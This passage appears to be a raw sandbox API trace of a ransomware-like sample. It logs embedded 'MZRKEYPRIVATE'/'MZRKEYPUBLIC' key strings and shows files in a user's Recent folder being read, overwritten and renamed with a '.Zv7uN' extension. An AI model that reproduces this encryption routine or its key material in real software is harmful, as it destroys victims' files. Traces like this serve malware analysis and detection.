XW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0081.738] GetCurrentThreadId () returned 0xa30 [0081.739] GetCurrentThreadId () returned 0xa30 [0081.739] GetCurrentThreadId () returned 0xa30 [0081.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.740] GetCurrentThreadId () returned 0xa30 [0081.740] GetCurrentThreadId () returned 0xa30 [0081.740] GetCurrentThreadId () returned 0xa30 [0081.740] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ITkZucPgXtfuH72ld.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\itkzucpgxtfuh72ld.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.740] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.740] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.740] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x9e1 [0081.740] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.740] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x9e1, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x9e1, lpOverlapped=0x0) returned 1 [0081.742] CloseHandle (hObject=0x124) returned 1 [0081.742] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ITkZucPgXtfuH72ld.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\itkzucpgxtfuh72ld.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.744] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x9e1, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x9e1, lpOverlapped=0x0) returned 1 [0081.746] CloseHandle (hObject=0x124) returned 1 [0081.749] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ITkZucPgXtfuH72ld.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\itkzucpgxtfuh72ld.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ITkZucPgXtfuH72ld.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\itkzucpgxtfuh72ld.lnk.zv7un")) returned 1 [0081.750] GetCurrentThreadId () returned 0xa30 [0081.750] GetCurrentThreadId () returned 0xa30 [0081.750] GetCurrentThreadId () returned 0xa30 [0081.750] GetCurrentThreadId () returned 0xa30 [0081.750] GetCurrentThreadId () returned 0xa30 [0081.750] GetCurrentThreadId () returned 0xa30 [0081.750] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f8ac60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2f8ac60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2f8ac60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x14a9, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="J-v2Kn6wrqYZ8FKCS0WZ.ots.lnk", cAlternateFileName="J-V2KN~1.LNK")) returned 1 [0081.751] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.751] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.751] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\J-v2Kn6wrqYZ8FKCS0WZ.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\j-v2kn6wrqyz8fkcs0wz.ots.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f8ac60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2f8ac60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2f8ac60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x14a9)) returned 1 [0081.751] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\J-v2Kn6wrqYZ8FKCS0WZ.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\j-v2kn6wrqyz8fkcs0wz.ots.lnk")) returned 0x20 [0081.751] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\J-v2Kn6wrqYZ8FKCS0WZ.ots.lnk", dwFileAttributes=0x80) returned 1 [0081.753] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.753] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjR